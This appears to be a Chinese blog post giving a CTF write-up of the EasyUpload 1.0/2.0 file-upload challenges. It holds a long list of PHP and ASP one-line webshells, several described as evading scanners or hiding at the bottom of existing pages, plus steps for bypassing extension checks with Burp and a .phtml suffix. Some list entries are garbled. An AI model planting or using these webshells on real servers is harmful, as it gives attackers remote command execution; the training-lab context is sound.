Easyupload 1.0 2.0

piter 发布于 2025-09-07 530 次阅读 844 字


AI 摘要

本文聚焦EasyUpload 1.0/2.0文件上传漏洞利用,揭示通过伪装.png/.jpg为.php/phtml绕过格式校验,注入eval($_POST)等一句话木马的关键手法。演示利用Burp修改请求、突破后通过phpinfo()挖掘环境变量获取flag的过程,并点明2.0版需采用phtml后缀的变种策略,凸显文件上传漏洞对服务器的安全威胁及防御挑战。(110字)

本来想把知识点提出来放在别的板块的,算了(懒

打开网址发现是一个文件上传的网站

image.png

首先想到传个一句话木马上去,但是文件格式要是png或者jpg,这个好办,试试看用bp改一下前端,这个应该是没有前后端校验的

以下知识点搬运自[SWPUCTF 2021 新生赛]easyupload1.0 - y0Zero - 博客园

文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

  • 这里放一些常用的PHP一句话木马
<?php @eval($_POST['r00ts']);?>
<?php phpinfo();?>
<?php @eval($_POST['cmd']);?>
<?php @eval($_REQUEST['cmd']);?>
<?php assert($_REQUEST['cmd']); ?>
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
<?php
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

<?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

<?php usort($_GET,'asse'.'rt');?> php环境>=<5.6才能用
<?php usort(...$_GET);?>  php环境>=5.6才能用
<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容错代码
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST['c'];?>
<?$_POST['c'];?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>
/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:O>h=@eval_r($_POST1);</O
<?php echo `$_GET['r']` ?>

<script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话

<?php (])?>   上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的!

<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?>
加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错!

<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%>
无防下载表,有防下载表可尝试插入以下语句突破的一句话

`<%eval(request(“1″)):response.end%> 备份专用`

<?php @eval($_POST['r00ts']);?>为例,使用bp修改jpg为php,发现上传成功

用蚁剑连接发现给的是假的flag,于是想到查看phpInfo()

于是使用<php phpinfo()?;>

然后在上传的/upload/a.php界面的environment里面成功找到了flag

image.png

另 2.0版本

改php发现不行,采用phtml,使用蚁剑连接即可拿到flag

  • reward_image1
永远不要因为需要大量时间才能完成,就放弃梦想,时间怎么样都会过去的
最后更新于 2026-02-19